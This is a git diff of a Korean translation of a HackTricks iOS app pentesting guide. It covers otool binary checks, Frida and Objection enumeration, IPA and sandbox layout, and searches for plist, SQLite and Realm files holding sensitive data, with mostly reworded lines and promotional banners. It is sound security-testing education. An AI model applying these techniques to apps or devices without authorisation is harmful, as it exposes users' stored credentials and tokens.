[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로부터 영웅이 되기까지의 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지의 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고**되길 원하거나 **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -40,15 +40,15 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 기본 iOS 테스트 작업
|
||||
|
||||
테스트 중에 **여러 작업이 제안**될 것입니다(장치에 연결, 파일 읽기/쓰기/업로드/다운로드, 일부 도구 사용...). 따라서 이러한 작업 중 어떤 것을 수행해야 하는지 모르는 경우 **페이지를 읽기 시작**하세요:
|
||||
테스트 중에 **여러 작업이 제안**됩니다(장치에 연결, 파일 읽기/쓰기/업로드/다운로드, 일부 도구 사용...). 따라서 이러한 작업 중 어떤 것을 수행해야 하는지 모르는 경우 **페이지를 읽기 시작**하세요:
|
||||
|
||||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="info" %}
|
||||
다음 단계를 위해 **앱이 장치에 설치**되어 있어야 하며 앱의 **IPA 파일**을 이미 얻었어야 합니다.\
|
||||
이를 수행하는 방법을 알아보려면 [기본 iOS 테스트 작업](basic-ios-testing-operations.md) 페이지를 읽어보세요.
|
||||
다음 단계를 위해 **앱이 장치에 설치**되어 있어야 하며 이미 앱의 **IPA 파일을 얻었어야** 합니다.\
|
||||
이를 수행하는 방법은 [기본 iOS 테스트 작업](basic-ios-testing-operations.md) 페이지를 읽어보세요.
|
||||
{% endhint %}
|
||||
|
||||
### 기본 정적 분석
|
||||
|
@ -60,22 +60,22 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **PIE (Position Independent Executable)**: 활성화되면 애플리케이션이 시작할 때마다 무작위 메모리 주소로 로드되어 초기 메모리 주소를 예측하기 어렵게 만듭니다.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # PIE 플래그를 포함해야 합니다
|
||||
otool -hv <app-binary> | grep PIE # PIE 플래그를 포함해야 함
|
||||
```
|
||||
* **Stack Canaries**: 스택의 무결성을 확인하기 위해 함수를 호출하기 전에 스택에 'canary' 값이 배치되고 함수가 종료될 때 다시 확인됩니다.
|
||||
* **스택 캐너리**: 스택의 무결성을 확인하기 위해 함수를 호출하기 전에 스택에 'canary' 값이 배치되고 함수가 종료될 때 다시 확인됩니다.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard 및 stack_chk_fail 심볼을 포함해야 합니다
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard 및 stack_chk_fail 심볼을 포함해야 함
|
||||
```
|
||||
* **ARC (Automatic Reference Counting)**: 일반적인 메모리 손상 결함을 방지하기 위해
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # _objc_release 심볼을 포함해야 합니다
|
||||
otool -I -v <app-binary> | grep objc_release # _objc_release 심볼을 포함해야 함
|
||||
```
|
||||
* **암호화된 바이너리**: 바이너리는 암호화되어야 합니다
|
||||
* **암호화된 바이너리**: 바이너리는 암호화되어야 함
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid는 1이어야 합니다
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid는 1이어야 함
|
||||
```
|
||||
|
||||
**민감하거나 취약한 함수 식별**
|
||||
|
@ -149,7 +149,7 @@ grep -iER "_vsprintf"
|
|||
|
||||
### 설치된 앱 목록
|
||||
|
||||
`frida-ps -Uai` 명령을 사용하여 설치된 앱의 **번들 식별자**를 결정하세요:
|
||||
명령어 `frida-ps -Uai`를 사용하여 설치된 앱의 **번들 식별자**를 확인하세요:
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
|
@ -164,7 +164,7 @@ PID Name Identifier
|
|||
```
|
||||
### 기본 열거 및 후킹
|
||||
|
||||
어플리케이션의 구성 요소를 **열거하는 방법**과 objection을 사용하여 쉽게 **메소드와 클래스를 후킹하는 방법**을 배우세요:
|
||||
어플리케이션의 구성 요소를 **열거하는 방법**과 쉽게 **메소드와 클래스를 후킹하는 방법**을 Objection을 사용하여 배워보세요:
|
||||
|
||||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||||
|
@ -172,26 +172,26 @@ PID Name Identifier
|
|||
|
||||
### IPA 구조
|
||||
|
||||
**IPA 파일**의 구조는 본질적으로 **압축된 패키지**입니다. 확장자를 `.zip`로 변경하여 압축을 해제하면 내용을 확인할 수 있습니다. 이 구조 안에 **번들(Bundle)**은 설치 준비가 된 완전히 패키지된 어플리케이션을 나타냅니다. 내부에는 어플리케이션의 리소스를 캡슐화하는 `<NAME>.app`이라는 디렉토리가 포함되어 있습니다.
|
||||
**IPA 파일**의 구조는 본질적으로 **압축된 패키지**입니다. 확장자를 `.zip`으로 변경하여 압축을 해제하면 내용을 확인할 수 있습니다. 이 구조 안에 **번들(Bundle)**은 설치 준비가 된 완전히 패키지된 어플리케이션을 나타냅니다. 내부에는 어플리케이션의 리소스를 캡슐화하는 `<NAME>.app`이라는 디렉토리가 포함되어 있습니다.
|
||||
|
||||
* **`Info.plist`**: 이 파일은 어플리케이션의 특정 구성 세부 정보를 보유합니다.
|
||||
* **`_CodeSignature/`**: 이 디렉토리에는 번들 내 모든 파일의 무결성을 보장하는 서명을 포함하는 plist 파일이 포함되어 있습니다.
|
||||
* **`Assets.car`**: 아이콘과 같은 에셋 파일을 저장하는 압축된 아카이브입니다.
|
||||
* **`Frameworks/`**: 이 폴더에는 어플리케이션의 네이티브 라이브러리가 포함되어 있으며, `.dylib` 또는 `.framework` 파일 형식일 수 있습니다.
|
||||
* **`PlugIns/`**: 이 폴더에는 `.appex` 파일로 알려진 어플리케이션의 확장이 포함될 수 있지만 항상 존재하는 것은 아닙니다.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 오프라인 사용을 위해 어플리케이션의 영구 데이터를 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱에 되돌리기 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정에서 여러 장치 간 데이터를 동기화하려면 Core Data가 스키마를 CloudKit 컨테이너로 자동으로 미러링합니다.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 오프라인 사용을 위해 어플리케이션의 영구 데이터를 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱에 되돌리기 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하려면 Core Data가 스키마를 CloudKit 컨테이너로 자동으로 미러링합니다.
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 어플리케이션 또는 번들의 유형 및 생성자 코드를 지정하는 대체 방법입니다.
|
||||
* **en.lproj, fr.proj, Base.lproj**: 해당 특정 언어의 리소스를 포함하고 해당 언어를 지원하지 않을 경우 기본 리소스를 포함하는 언어 팩입니다.
|
||||
* **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 확인하여 어플리케이션의 보안에 중요한 역할을 합니다.
|
||||
* **에셋 관리**: `Assets.car` 파일은 그래픽 에셋을 효율적으로 관리하기 위해 압축을 사용하며, 어플리케이션 성능 최적화와 전체 크기 감소에 중요합니다.
|
||||
* **프레임워크 및 플러그인**: 이러한 디렉토리는 iOS 어플리케이션의 모듈성을 강조하여 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
|
||||
* **로컬라이제이션**: 이 구조는 여러 언어를 지원하여 특정 언어 팩의 리소스를 포함함으로써 글로벌 어플리케이션 접근을 용이하게 합니다.
|
||||
* **에셋 관리**: `Assets.car` 파일은 그래픽 에셋을 효율적으로 관리하기 위해 압축을 사용하며, 어플리케이션 성능 최적화 및 전체 크기 축소에 중요합니다.
|
||||
* **프레임워크 및 플러그인**: 이러한 디렉토리는 iOS 어플리케이션의 모듈성을 강조하여 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
|
||||
* **로컬라이제이션**: 이 구조는 여러 언어를 지원하여 특정 언어 팩의 리소스를 포함함으로써 글로벌 어플리케이션 이용을 용이하게 합니다.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist**는 iOS 어플리케이션의 중추 역할을 하며, **키-값** 쌍 형식으로 주요 구성 데이터를 캡슐화합니다. 이 파일은 어플리케이션 뿐만 아니라 번들 내에 번들된 앱 확장 및 프레임워크에도 필수적입니다. XML 또는 이진 형식으로 구성되어 있으며, 앱 권한부터 보안 구성까지 핵심 정보를 보유합니다. 사용 가능한 키에 대한 자세한 탐구를 위해 [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc)를 참조할 수 있습니다.
|
||||
|
||||
이 파일을 더 쉽게 다루고자 하는 사용자를 위해 macOS의 `plutil`을 사용하면 XML 변환을 쉽게 수행할 수 있습니다(버전 10.2 이상에서 네이티브로 제공) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환을 위한 명령어는 다음과 같습니다:
|
||||
이 파일을 더 쉽게 다루고자 하는 사용자를 위해 macOS의 `plutil`을 사용하면 XML 변환을 손쉽게 수행할 수 있습니다(10.2 버전 이상에서 네이티브로 제공) 또는 Linux에서 `plistutil`을 사용할 수 있습니다. 변환을 위한 명령어는 다음과 같습니다:
|
||||
|
||||
* **macOS용**:
|
||||
```bash
|
||||
|
@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Info.plist** 파일이 유출할 수 있는 다양한 정보 중 주목할 만한 항목으로는 앱 권한 문자열(`UsageDescription`), 사용자 정의 URL schemes(`CFBundleURLTypes`), 그리고 App Transport Security 구성(`NSAppTransportSecurity`)이 있습니다. 이러한 항목들과 함께 내보낸/수입한 사용자 정의 문서 유형(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)과 같은 다른 항목들은 파일을 검사하거나 간단한 `grep` 명령을 사용하여 손쉽게 찾을 수 있습니다:
|
||||
**Info.plist** 파일이 유출할 수 있는 다양한 정보 중 주목할 만한 항목으로는 앱 권한 문자열(`UsageDescription`), 사용자 정의 URL scheme(`CFBundleURLTypes`), 그리고 App Transport Security 구성(`NSAppTransportSecurity`)이 있습니다. 이러한 항목들과 함께 내보낸/수입한 사용자 정의 문서 유형(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)과 같은 다른 항목들은 파일을 검사하거나 간단한 `grep` 명령을 사용하여 손쉽게 찾을 수 있습니다:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**데이터 경로**
|
||||
|
||||
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 상주하며, 사용자 설치 앱은 `/private/var/containers/` 아래에 배치됩니다. 이러한 애플리케이션들은 **128비트 UUID**라고 불리는 고유 식별자가 할당되어 있어 디렉토리 이름의 무작위성으로 인해 앱 폴더를 수동으로 찾는 작업이 어려울 수 있습니다.
|
||||
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 있으며, 사용자 설치 앱은 `/private/var/containers/` 아래에 배치됩니다. 이러한 애플리케이션들은 **128비트 UUID**라고 불리는 고유 식별자가 할당되어 있어, 디렉토리 이름의 무작위성 때문에 앱 폴더를 수동으로 찾는 작업이 어려울 수 있습니다.
|
||||
|
||||
사용자 설치 앱의 설치 디렉토리를 발견하기 위해 **objection 도구**는 유용한 `env` 명령을 제공합니다. 이 명령은 해당 앱에 대한 자세한 디렉토리 정보를 나타냅니다. 아래는 이 명령을 사용하는 예시입니다:
|
||||
사용자 설치 앱의 설치 디렉토리를 찾기 위해 **objection 도구**는 유용한 `env` 명령을 제공합니다. 이 명령은 해당 앱에 대한 자세한 디렉토리 정보를 나타냅니다. 아래는 이 명령을 사용하는 예시입니다:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
|
@ -221,11 +221,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
|||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
또는 `find` 명령을 사용하여 `/private/var/containers` 내에서 앱 이름을 검색할 수 있습니다:
|
||||
대안으로, 앱 이름은 `find` 명령을 사용하여 `/private/var/containers` 내에서 검색할 수 있습니다:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
다음과 같은 명령어인 `ps`와 `lsof`를 활용하여 앱의 프로세스를 식별하고 각각 열린 파일을 나열할 수 있으며, 이를 통해 애플리케이션의 활성 디렉토리 경로에 대한 통찰을 제공할 수 있습니다:
|
||||
다음과 같은 명령어인 `ps`와 `lsof`를 활용하여 앱의 프로세스를 식별하고 각각 열린 파일을 나열할 수도 있습니다. 이를 통해 애플리케이션의 활성 디렉토리 경로에 대한 통찰을 얻을 수 있습니다:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
|
@ -234,7 +234,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
|
||||
* **AppName.app**
|
||||
* 이것은 IPA에서 본 것과 같은 애플리케이션 번들이며, 필수 애플리케이션 데이터, 정적 콘텐츠 및 애플리케이션의 컴파일된 이진 파일을 포함합니다.
|
||||
* 이 디렉토리는 사용자에게 **가시적**이지만 사용자는 **쓸 수 없습니다**.
|
||||
* 이 디렉토리는 사용자에게 **가시적**이지만 **사용자는 쓸 수 없습니다**.
|
||||
* 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
|
||||
* 이 폴더의 내용은 **코드 서명을 유효화하는 데 사용됩니다**.
|
||||
|
||||
|
@ -242,20 +242,20 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
|
||||
* **Documents/**
|
||||
* 모든 사용자 생성 데이터를 포함합니다. 애플리케이션 최종 사용자가 이 데이터를 생성합니다.
|
||||
* 사용자에게 **가시적**이며 사용자는 **쓸 수 있습니다**.
|
||||
* 사용자에게 **가시적**이며 **사용자는 쓸 수 있습니다**.
|
||||
* 이 디렉토리의 콘텐츠는 **백업됩니다**.
|
||||
* 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
|
||||
* **Library/**
|
||||
* **사용자별이 아닌 파일**인 **캐시**, **환경 설정**, **쿠키** 및 속성 목록 (plist) 구성 파일 등을 포함합니다.
|
||||
* iOS 앱은 일반적으로 `Application Support` 및 `Caches` 하위 디렉토리를 사용하지만 앱은 사용자 정의 하위 디렉토리를 만들 수 있습니다.
|
||||
* iOS 앱은 일반적으로 `Application Support` 및 `Caches` 하위 디렉토리를 사용하지만 앱은 사용자 정의 하위 디렉토리를 생성할 수 있습니다.
|
||||
* **Library/Caches/**
|
||||
* **반영구적인 캐시 파일**을 포함합니다.
|
||||
* 사용자에게 **보이지 않으며 사용자는 **쓸 수 없습니다**.
|
||||
* 사용자에게 **보이지 않으며 사용자는 쓸 수 없습니다**.
|
||||
* 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
|
||||
* 앱이 실행 중이 아닐 때와 저장 공간이 부족할 때 OS가 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
* 앱이 실행 중이 아니거나 저장 공간이 부족할 때 OS가 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
* **Library/Application Support/**
|
||||
* 앱 실행에 필요한 **지속적인 파일**을 포함합니다.
|
||||
* 사용자에게 **보이지 않으며 사용자는 **쓸 수 없습니다**.
|
||||
* 사용자에게 **보이지 않으며 사용자는 쓸 수 없습니다**.
|
||||
* 이 디렉토리의 콘텐츠는 **백업됩니다**.
|
||||
* 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
|
||||
* **Library/Preferences/**
|
||||
|
@ -263,13 +263,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* 정보는 \[BUNDLE\_ID].plist라는 plist 파일 내부에 암호화되지 않은 상태로 애플리케이션 샌드박스 내에 저장됩니다.
|
||||
* `NSUserDefaults`를 사용하여 저장된 모든 키/값 쌍은 이 파일에서 찾을 수 있습니다.
|
||||
* **tmp/**
|
||||
* 앱 시작 간에 **지속되지 않아도 되는 임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
|
||||
* 앱 시작 간에 지속되지 않아야 하는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
|
||||
* 비지속적인 캐시 파일을 포함합니다.
|
||||
* 사용자에게 **보이지 않습니다**.
|
||||
* 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
|
||||
* 앱이 실행 중이 아닐 때와 저장 공간이 부족할 때 OS가 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
* 이 디렉토리의 콘텐츠는 백업되지 않습니다.
|
||||
* 앱이 실행 중이 아니거나 저장 공간이 부족할 때 OS가 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
|
||||
iGoat-Swift의 Application Bundle (.app) 디렉토리를 번들 디렉토리 내부에서 더 자세히 살펴봅시다 (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
iGoat-Swift의 Application Bundle (.app) 디렉토리를 번들 디렉토리 내부에서 더 자세히 살펴봅시다 (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`).
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
|
@ -283,7 +283,7 @@ Regular 420 None ... LICENSE.txt
|
|||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### 이진 반전
|
||||
### 이진 역어셈블링
|
||||
|
||||
`<application-name>.app` 폴더 안에 `<application-name>`이라는 이진 파일이 있습니다. 이 파일이 **실행**될 파일입니다. **`otool`** 도구를 사용하여 이진 파일을 기본적으로 검사할 수 있습니다:
|
||||
```bash
|
||||
|
@ -305,9 +305,9 @@ DVIA-v2:
|
|||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
**바이너리 해체**
|
||||
**바이너리 분해**
|
||||
|
||||
텍스트 섹션을 해체합니다:
|
||||
텍스트 섹션을 분해하십시오:
|
||||
```bash
|
||||
otool -tV DVIA-v2
|
||||
DVIA-v2:
|
||||
|
@ -363,7 +363,7 @@ double _field2;
|
|||
```
|
||||
그러나 이진 파일을 분해하는 가장 좋은 옵션은: [**Hopper**](https://www.hopperapp.com/download.html?) 및 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
|
@ -380,17 +380,17 @@ iOS가 기기에 데이터를 저장하는 방법에 대해 알아보려면 이
|
|||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**애플리케이션을 설치한 직후**, **애플리케이션의 모든 기능을 확인한 후**, 심지어 **한 사용자에서 로그아웃하고 다른 사용자로 로그인한 후**에도 다음 위치에 정보를 저장해야 합니다.\
|
||||
목표는 애플리케이션의 **민감한 정보**(암호, 토큰), 현재 사용자 및 이전에 로그인한 사용자의 정보를 찾는 것입니다.
|
||||
다음 위치에 정보를 저장하는 것은 **애플리케이션을 설치한 직후**, **애플리케이션의 모든 기능을 확인한 후** 및 **한 사용자에서 로그아웃한 후 다른 사용자로 로그인한 후**에 확인해야 합니다.\
|
||||
목표는 애플리케이션의 **민감한 정보(비밀번호, 토큰)**, 현재 사용자 및 이전에 로그인한 사용자의 정보를 찾는 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** 파일은 **키-값 쌍을 포함하는** 구조화된 XML 파일입니다. 이는 영구 데이터를 저장하는 방법이므로 때로는 이러한 파일에서 **민감한 정보**를 찾을 수 있습니다. 앱을 설치한 후와 강도 높게 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
|
||||
**plist** 파일은 **키-값 쌍을 포함하는** 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법이며 때로는 이러한 파일에서 **민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 및 강도 높게 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
|
||||
|
||||
plist 파일에 데이터를 영구적으로 저장하는 가장 일반적인 방법은 **NSUserDefaults**를 사용하는 것입니다. 이 plist 파일은 **`Library/Preferences/<appBundleID>.plist`** 내부의 앱 샌드박스에 저장됩니다.
|
||||
plist 파일에 데이터를 지속적으로 저장하는 가장 일반적인 방법은 **NSUserDefaults**를 사용하는 것입니다. 이 plist 파일은 **`Library/Preferences/<appBundleID>.plist`** 내부의 앱 샌드박스에 저장됩니다.
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호 작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템을 통해 애플리케이션은 **사용자 환경 설정**에 따라 동작을 사용자 정의할 수 있습니다. `NSUserDefaults`에 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **데이터**를 **plist** **파일**에 저장하지만 소량의 데이터와 함께 사용하기 위해 설계되었습니다.
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호 작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템을 통해 애플리케이션은 **사용자 환경 설정**에 따라 동작을 사용자 정의할 수 있습니다. `NSUserDefaults`에 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **작은 양의 데이터**와 함께 사용하기 위해 설계되었습니다.
|
||||
|
||||
이 데이터는 신뢰할 수 있는 컴퓨터를 통해 직접 액세스할 수 없지만 **백업**을 수행하여 액세스할 수 있습니다.
|
||||
|
||||
|
@ -400,13 +400,13 @@ plist 파일에 데이터를 영구적으로 저장하는 가장 일반적인
|
|||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
다음은 **XML 또는 이진 (bplist) 형식**의 파일을 XML로 변환하는 방법입니다. 사용하는 운영 체제에 따라 다양한 방법이 있습니다:
|
||||
**XML 또는 이진 (bplist) 형식**의 파일을 XML로 변환하는 방법은 운영 체제에 따라 다양합니다:
|
||||
|
||||
**macOS 사용자를 위한:** `plutil` 명령어를 활용하세요. macOS (10.2+)에 내장된 도구로, 이 목적을 위해 설계되었습니다:
|
||||
**macOS 사용자를 위한:** `plutil` 명령어를 활용하세요. 이 명령어는 macOS (10.2+)에 내장된 도구로, 이 목적을 위해 설계되었습니다:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**리눅스 사용자를 위한 안내:** 먼저 `libplist-utils`를 설치한 후 `plistutil`을 사용하여 파일을 변환하세요:
|
||||
**리눅스 사용자를 위한 안내:** 먼저 `libplist-utils`를 설치한 후, `plistutil`을 사용하여 파일을 변환하세요:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
|
@ -453,19 +453,19 @@ NSLog(@"data stored in core data");
|
|||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase)은 SQLite 위에 구축된 key/value 저장소입니다.\
|
||||
Yap 데이터베이스는 SQLite 데이터베이스이므로 이전 섹션에서 제안된 명령을 사용하여 해당 데이터베이스를 찾을 수 있습니다.
|
||||
Yap 데이터베이스는 sqlite 데이터베이스이므로 이전 섹션에서 제안된 명령을 사용하여 해당 데이터베이스를 찾을 수 있습니다.
|
||||
|
||||
### 다른 SQLite 데이터베이스
|
||||
|
||||
애플리케이션이 자체 sqlite 데이터베이스를 생성하는 것이 일반적입니다. 그들은 그 안에 **민감한** **데이터**를 **저장**할 수 있으며 이를 암호화하지 않은 채로 남겨 둘 수 있습니다. 따라서 애플리케이션 디렉토리로 이동하여 애플리케이션 디렉토리 내의 모든 데이터베이스를 확인하는 것이 항상 흥미로울 수 있습니다. 데이터가 저장된 애플리케이션 디렉토리로 이동하십시오 (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
응용 프로그램이 자체 sqlite 데이터베이스를 생성하는 것이 일반적입니다. 그들은 그 안에 **민감한** **데이터**를 **저장**할 수 있으며 이를 암호화하지 않은 채로 남겨 둘 수 있습니다. 따라서 응용 프로그램 디렉토리로 이동하여 응용 프로그램 디렉토리 내의 모든 데이터베이스를 확인하는 것이 항상 흥미로울 수 있습니다. 데이터가 저장된 응용 프로그램 디렉토리로 이동하십시오 (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase 실시간 데이터베이스
|
||||
|
||||
개발자들은 Firebase 실시간 데이터베이스를 통해 NoSQL 클라우드 호스팅 데이터베이스 내에서 데이터를 **저장하고 동기화**할 수 있습니다. 데이터는 JSON 형식으로 저장되며, 연결된 모든 클라이언트에 실시간으로 동기화됩니다.
|
||||
개발자들은 Firebase 실시간 데이터베이스를 통해 NoSQL 클라우드 호스팅 데이터베이스 내에서 데이터를 **저장 및 동기화**할 수 있습니다. 데이터는 JSON 형식으로 저장되며, 연결된 모든 클라이언트에 실시간으로 동기화됩니다.
|
||||
|
||||
Firebase 데이터베이스의 구성 오류를 확인하는 방법은 여기에서 확인할 수 있습니다:
|
||||
Firebase 데이터베이스의 구성 오류를 확인하는 방법은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
@ -482,9 +482,9 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
|||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 권장합니다.
|
||||
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 권장합니다.
|
||||
|
||||
Realm 데이터베이스 내에서 암호화를 구현하려면 다음 코드 스니펫을 사용할 수 있습니다:
|
||||
